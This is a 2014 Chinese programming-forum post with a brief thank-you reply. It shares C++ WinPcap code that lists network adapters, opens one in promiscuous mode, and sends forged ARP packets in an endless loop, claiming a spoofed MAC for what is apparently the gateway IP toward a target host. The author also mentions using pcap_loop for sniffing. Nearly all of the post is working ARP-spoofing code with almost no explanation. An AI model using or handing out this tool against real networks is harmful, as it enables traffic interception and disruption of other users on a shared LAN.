鱼C论坛

 找回密码
 立即注册
查看: 2857|回复: 1

[技术交流] WinPcap实现网络嗅探和ARP欺骗

[复制链接]
发表于 2014-3-29 00:37:16 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
程序运行需要用到winpcap的驱动.
www.winpcap.org

.cpp文件
  1. #include <iostream>
  2. #include <iomanip>
  3. #include<windows.h>
  4. #include "deal.h"
  5. using namespace std;

  6. void show_ip(ip_address);
  7. void show_mac(unsigned char* mac);
  8. int cmp_ip(ip_address ip1,ip_address ip2);
  9. void formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr);
  10. int same_times=1;
  11. ip_address old_ip;
  12. int ip_store[255];
  13. void show()
  14. {

  15.     WSADATA wsaData;
  16.     int iResult;
  17.         iResult=WSAStartup(MAKEWORD(2,0),&wsaData);
  18.         if(iResult)
  19.     {
  20.        cout<<"WSAStartup fail."<<endl;
  21.     }
  22.     else
  23.     {
  24.         cout<<"WSAStartup finish."<<endl<<endl;
  25.     }
  26.      pcap_if_t *alldevs;
  27.     pcap_if_t *d;
  28.     char errbuf[PCAP_ERRBUF_SIZE+1];
  29.     //char source[PCAP_ERRBUF_SIZE+1];

  30.     int i=0;
  31.     int inum;
  32.     pcap_t *adhandle;
  33.     if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&alldevs,errbuf)==-1){

  34.         cout<<"error in pcap findalldevs ex: "<< errbuf<<endl;
  35.     }
  36.     for(d = alldevs; d != NULL; d = d->next)
  37.     {
  38.         cout<<"deviec "<<++i<<": "<<endl;
  39.         ifprint(d);
  40.     }
  41.       if(i == 0)
  42.     {
  43.         cout<<"\nNo interfaces found! Make sure Winpcap is installed.\n";
  44.     }

  45.     cout<<"please enter the interface number: "<<endl;
  46.     cin>>inum;
  47.     cout<<"you choose: "<<inum<<endl;

  48.     if(inum < 1 || inum > i)
  49.     {
  50.         printf("\nInterface number out of range.\n");
  51.         /* 释放设备列表 */
  52.         pcap_freealldevs(alldevs);
  53.         return;
  54.     }
  55.     for(d=alldevs, i=0; i< inum-1 ; d=d->next, i++);
  56.     {
  57.         if ( (adhandle= pcap_open(d->name,          // 设备名
  58.                               100,            // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
  59.                               PCAP_OPENFLAG_PROMISCUOUS,    // 混杂模式
  60.                               1000,             // 读取超时时间
  61.                               NULL,             // 远程机器验证
  62.                               errbuf            // 错误缓冲池
  63.                              ) ) == NULL)
  64.         {
  65.             fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
  66.             /* 释放设备列表 */
  67.             pcap_freealldevs(alldevs);
  68.             return;
  69.         }
  70.         //获取子网掩码

  71.         //获取本地IP
  72.     }
  73.     tagARPPacket arppacket;
  74.     memset(&arppacket, 0, sizeof(arppacket));


  75.     //formatStrToMAC("00-0c-29-8b-96-e0",arppacket.dlcHeader.DesMac);
  76.     formatStrToMAC("ff-ff-ff-ff-ff-ff",arppacket.DesMac);
  77.     formatStrToMAC("00-97-02-03-03-71",arppacket.SrcMac);

  78.     formatStrToMAC("ff-ff-ff-ff-ff-ff",arppacket.Targ_HW_Addr);
  79.     formatStrToMAC("00-97-02-03-03-71",arppacket.Send_HW_Addr);

  80.     arppacket.Send_Prot_Addr=inet_addr("10.*.*.1");
  81.     arppacket.Targ_Prot_Addr=inet_addr("10.*.*.128");


  82.     arppacket.Opcode=htons((unsigned short)1);

  83.     arppacket.Ethertype = htons((unsigned short)0x0806); // DLC Header的以太网类型
  84.      arppacket.HW_Type = htons((unsigned short)0x0001);           // 硬件类型
  85.      arppacket.Prot_Type = htons((unsigned short)0x0800);    // 上层协议类型
  86.      arppacket.HW_Addr_Len = (unsigned char)6;                 // MAC地址长度
  87.      arppacket.Prot_Addr_Len = (unsigned char)4;               // IP地址长度

  88.      unsigned char *cc;
  89.      cc=(unsigned char *)&arppacket;
  90.      cout<<sizeof(arppacket)<<endl;
  91.      /*for(int i=0;i<sizeof(arppacket);i++)
  92.      {
  93.          //cout<<cc[i];
  94.          cout<<setw(2)<<setfill('0')<<hex<<(unsigned int)cc[i]<<"-";
  95.      }
  96.      cout<<endl<<sizeof(arppacket)<<endl;*/

  97.     while(1)
  98.     {
  99.         if (pcap_sendpacket(adhandle,(UCHAR*) &arppacket, 64) != 0)
  100.         {
  101.             //fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(fp));
  102.             cout<<"error"<<endl;
  103.             return;
  104.         }else
  105.         {
  106.             cout<<"finish.\t"<<same_times++<<endl;
  107.         }
  108.         Sleep(500);


  109.     }



  110. }

  111. int cmp_ip(ip_address ip1,ip_address ip2)
  112. {
  113.     if(!((u_int)ip1.byte1^(u_int)ip2.byte1))
  114.     {
  115.         if(!((u_int)ip1.byte2^(u_int)ip2.byte2))
  116.             if(!((u_int)ip1.byte3^(u_int)ip2.byte3))
  117.                 if(!((u_int)ip1.byte4^(u_int)ip2.byte4))
  118.                     return 0;
  119.     }
  120.     return 1;

  121. }
  122. void show_ip(ip_address ip_add)
  123. {
  124.     cout<<(u_int)ip_add.byte1<<"."<<(u_int)ip_add.byte2<<"."<<(u_int)ip_add.byte3<<"."<<(u_int)ip_add.byte4;
  125. }
  126. void show_mac(unsigned char* mac)
  127. {
  128.     ios::fmtflags old(cout.flags());

  129.     for(int i=0;i<5;i++)
  130.     {
  131.         cout<<setw(2)<<setfill('0')<<hex<<(unsigned int)mac[i]<<"-";
  132.     }
  133.     cout<<hex<<(unsigned int)mac[5];

  134.     cout.flags(old);
  135. }
  136. void ifprint(pcap_if_t *d)
  137. {
  138.     pcap_addr_t *a;
  139.   char ip6str[128];

  140.   /* 设备名(Name) */

  141.     cout<<d->name<<endl;
  142.   /* 设备描述(Description) */
  143.   if (d->description)

  144.     cout<<"\tDescription: "<<d->description<<endl;
  145.   /* Loopback Address*/
  146.   printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no");

  147.   /* IP addresses */
  148.   for(a=d->addresses;a;a=a->next) {
  149.     printf("\tAddress Family: #%d\n",a->addr->sa_family);

  150.     switch(a->addr->sa_family)
  151.     {
  152.       case AF_INET:
  153.         printf("\tAddress Family Name: AF_INET\n");
  154.         if (a->addr)
  155.           printf("\tAddress: %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
  156.         if (a->netmask)
  157.           printf("\tNetmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
  158.         if (a->broadaddr)
  159.           printf("\tBroadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr));
  160.         if (a->dstaddr)
  161.           printf("\tDestination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
  162.         break;

  163.       case AF_INET6:
  164.         printf("\tAddress Family Name: AF_INET6\n");
  165.         if (a->addr)
  166.           printf("\tAddress: %s\n", ip6tos(a->addr, ip6str, sizeof(ip6str)));
  167.        break;

  168.       default:
  169.         printf("\tAddress Family Name: Unknown\n");
  170.         break;
  171.     }
  172.   }
  173.   printf("\n");
  174. }

  175. #define IPTOSBUFFERS    12
  176. char *iptos(u_long in)
  177. {
  178.     static char output[IPTOSBUFFERS][3*4+3+1];
  179.     static short which;
  180.     u_char *p;

  181.     p = (u_char *)∈
  182.     which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
  183.     sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
  184.     return output[which];
  185. }

  186. char* ip6tos(struct sockaddr *sockaddr, char *address, int addrlen)
  187. {
  188.     socklen_t sockaddrlen;

  189.     #ifdef WIN32
  190.     sockaddrlen = sizeof(struct sockaddr_in6);
  191.     #else
  192.     sockaddrlen = sizeof(struct sockaddr_storage);
  193.     #endif


  194.     if(getnameinfo(sockaddr,
  195.         sockaddrlen,
  196.         address,
  197.         addrlen,
  198.         NULL,
  199.         0,
  200.         NI_NUMERICHOST) != 0) address = NULL;

  201.     return address;
  202. }
  203. void formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr)
  204. {
  205.        unsigned int i, index = 0, value, temp;
  206.       unsigned char c;

  207.       _strlwr(lpHWAddrStr);                                                   // 转换成小写

  208.       for (i = 0; i < strlen(lpHWAddrStr); i++)
  209.      {
  210.            c = *(lpHWAddrStr + i);
  211.             if (( c>='0' && c<='9' ) || ( c>='a' && c<='f' ))
  212.            {
  213.                if (c>='0' && c<='9')  temp = c - '0';                         // 数字
  214.                if (c>='a' && c<='f')  temp = c - 'a' + 0xa;               // 字母
  215.                if ( (index % 2) == 1 )
  216.               {
  217.                    value = value*0x10 + temp;
  218.                    HWAddr[index/2] = value;
  219.               }
  220.               else value = temp;
  221.               index++;
  222.          }
  223.                if (index == 12) break;
  224.         }
  225. }
复制代码
头文件:
  1. #ifndef DEAL_H_INCLUDED
  2. #define DEAL_H_INCLUDED

  3. #define WINVER 0x0501
  4. #include <ws2tcpip.h>
  5. #include <WinSock2.h>
  6. #define HAVE_REMOTE
  7. #include "pcap.h"

  8. void ifprint(pcap_if_t *d);
  9. char *iptos(u_long in);
  10. char* ip6tos(struct sockaddr *sockaddr, char *address, int addrlen);
  11. void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
  12. void show();

  13. struct ip_address
  14. {
  15.     u_char byte1;
  16.     u_char byte2;
  17.     u_char byte3;
  18.     u_char byte4;
  19. };
  20. #pragma pack(push)
  21. #pragma pack(1)
  22. struct ip_header{
  23.     u_char  ver_ihl;        // 版本 (4 bits) + 首部长度 (4 bits)
  24.     u_char  tos;            // 服务类型(Type of service)
  25.     u_short tlen;           // 总长(Total length)
  26.     u_short identification; // 标识(Identification)
  27.     u_short flags_fo;       // 标志位(Flags) (3 bits) + 段偏移量(Fragment offset) (13 bits)
  28.     u_char  ttl;            // 存活时间(Time to live)
  29.     u_char  proto;          // 协议(Protocol)
  30.     u_short crc;            // 首部校验和(Header checksum)
  31.     ip_address  saddr;      // 源地址(Source address)
  32.     ip_address  daddr;      // 目的地址(Destination address)
  33.     u_int   op_pad;         // 选项与填充(Option + Padding)
  34. };
  35. struct tagDLCHeader{

  36.     unsigned char DesMac[6];
  37.     unsigned char SrcMac[6];
  38.     unsigned short Ethertype;
  39. };
  40. struct tagARPFrame{
  41.     unsigned short         HW_Type;           /* hardware address */
  42.     unsigned short         Prot_Type;             /* protocol address */
  43.     unsigned char      HW_Addr_Len;       /* length of hardware address */
  44.     unsigned char      Prot_Addr_Len;         /* length of protocol address */
  45.     unsigned short         Opcode;                /* ARP/RARP */

  46.     unsigned char      Send_HW_Addr[6];     /* sender hardware address */
  47.     unsigned long      Send_Prot_Addr;      /* sender protocol address */
  48.     unsigned char      Targ_HW_Addr[6];     /* target hardware address */
  49.     unsigned long      Targ_Prot_Addr;      /* target protocol address */
  50.     unsigned char      padding[18];
  51. };

  52. struct tagARPPacket{
  53.     unsigned char DesMac[6];
  54.     unsigned char SrcMac[6];
  55.     unsigned short Ethertype;
  56.     unsigned short         HW_Type;           /* hardware address */
  57.     unsigned short         Prot_Type;             /* protocol address */
  58.     unsigned char      HW_Addr_Len;       /* length of hardware address */
  59.     unsigned char      Prot_Addr_Len;         /* length of protocol address */
  60.     unsigned short         Opcode;                /* ARP/RARP */
  61.     unsigned char      Send_HW_Addr[6];     /* sender hardware address */
  62.     unsigned long      Send_Prot_Addr;      /* sender protocol address */
  63.     unsigned char      Targ_HW_Addr[6];     /* target hardware address */
  64.     unsigned long      Targ_Prot_Addr;      /* target protocol address */
  65.     unsigned char      padding[18];
  66. };
  67. #pragma pack(pop)
  68. #endif // DEAL_H_INCLUDED
复制代码
在main函数里运行show() 即可实现ARP包的发送, ARP技术属于黑科技......在此以和谐为主

用pcap_loop相关函数 可实现网卡嗅探...原理同上..


晚安.


小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2014-7-21 22:12:29 | 显示全部楼层
支持了谢谢分享哈,
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-6-10 14:34

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表